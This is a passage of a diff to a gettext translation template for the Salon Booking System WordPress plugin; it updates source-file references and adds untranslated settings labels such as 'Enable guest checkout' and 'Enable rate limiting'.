build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:209, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:209, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:209, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:209, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:107, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:57, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:45\n-msgid \"Valid from\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:440\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:440\n+msgid \"Enable feedback submission request\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:219, views\u002Fsettings\u002F_availability_row.php:177, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:219, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:177, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:219, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:177\n-msgid \"Set a time range for this rule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:29\n+msgid \"Enable force guest checkout\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:223, views\u002Fsettings\u002F_availability_row.php:181, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:223, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:181, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:223, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:181\n-msgid \"Apply from\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:21\n+msgid \"Enable guest checkout\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:227, views\u002Fsettings\u002F_availability_row.php:185, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:227, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:185, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:227, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:185\n-msgid \"Until\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:249\n+msgid \"Enable multiple assistants selection\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:235, views\u002Fsettings\u002F_availability_row.php:193, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:235, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:193, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:235, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:193\n-msgid \"Remove this rule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:16\n+msgid \"Enable offset\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_booking_services.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:71\n-msgid \"No services addded yet\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fpaypal\u002Fsettings.php:10\n+msgid \"Enable PayPal sandbox\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_booking_services.php:73, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:73, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:73\n-msgid \"This service has no duration, change it or add another one!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:173\n+msgid \"Enable rate limiting\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:17\n+msgid \"Enable reCAPTCHA Protection\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:360\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:360\n+msgid \"Enable reservation follow-up\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_booking_services.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:75, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:75\n-msgid \"Total services duration exceeded, change or remove one!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:288\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:288\n+msgid \"Enable service break\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_booking_services.php:95, views\u002Fmetabox\u002F_booking_services.php:241, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:95, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:241, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:95, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:241, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:241, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:241, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:241\n-msgid \"Start at\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:92\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:92\n+msgid \"Enable SLN Worker role\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:303\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:303\n+msgid \"Enable SMS verification\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:342\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:342\n+msgid \"Enable TAX calculation\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_booking_services.php:99, views\u002Fmetabox\u002F_booking_services.php:245, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:99, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:245, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:99, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:245, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:245, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:245, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:245\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:28\n+msgid \"Enable this option to active the resources.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:200\n+msgid \"Enable tip field\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:214\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:214\n+msgid \"Enable Whatsapp notification\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:25\n+msgid \"Enable “Resources based reservations”\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:33\n+msgid \"Enabled\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:245\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:245\n msgid \"End at\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_booking_services.php:149, views\u002Fmetabox\u002F_booking_services.php:294, src\u002FSLN\u002FPostType\u002FResource.php:214, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:149, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:294, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:214, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:149, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:294, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:294, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:294, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:294, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:214\n-msgid \"Resource\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:140\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:172\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:256\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:285\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:140\n+#: 